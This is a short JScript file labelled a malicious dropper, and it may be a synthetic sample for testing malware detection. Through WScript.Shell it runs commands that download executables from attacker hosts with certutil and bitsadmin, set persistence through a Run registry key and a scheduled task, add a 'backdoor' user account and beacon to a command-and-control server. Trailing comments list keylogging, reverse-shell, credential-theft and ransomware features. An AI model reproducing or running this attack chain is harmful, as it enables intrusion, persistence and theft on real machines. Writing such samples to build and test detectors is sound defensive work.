malicious_javascript.js

// Malicious JavaScript dropper
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd.exe /c whoami");
shell.Run("powershell.exe -enc " + encodedPayload);
shell.Run("certutil -urlcache -split -f http://evil-cdn.ru/trojan.exe C:\\temp\\update.exe");
shell.Run("bitsadmin /transfer job http://malware.cn/payload.exe C:\\temp\\svchost.exe");
shell.Run("reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v persist /d malware.exe");
shell.Run("schtasks /create /tn update /tr malware.exe /sc onlogon");
shell.Run("net user backdoor P@ss123 /add");
shell.Run("wmic process call create cmd.exe");

var http = new ActiveXObject("MSXML2.XMLHTTP");
http.Open("GET", "http://c2-command-control.com/beacon", false);
http.Send();

// FromBase64String decoder
// Invoke-Expression execution
// DownloadString payload fetch
// keylog capture module
// reverse shell connection
// mimikatz credential theft
// ransomware encrypt module
// Your files are encrypted
// bitcoin payment required
// sandbox detection active
// IsDebuggerPresent check
// VirtualAlloc memory allocation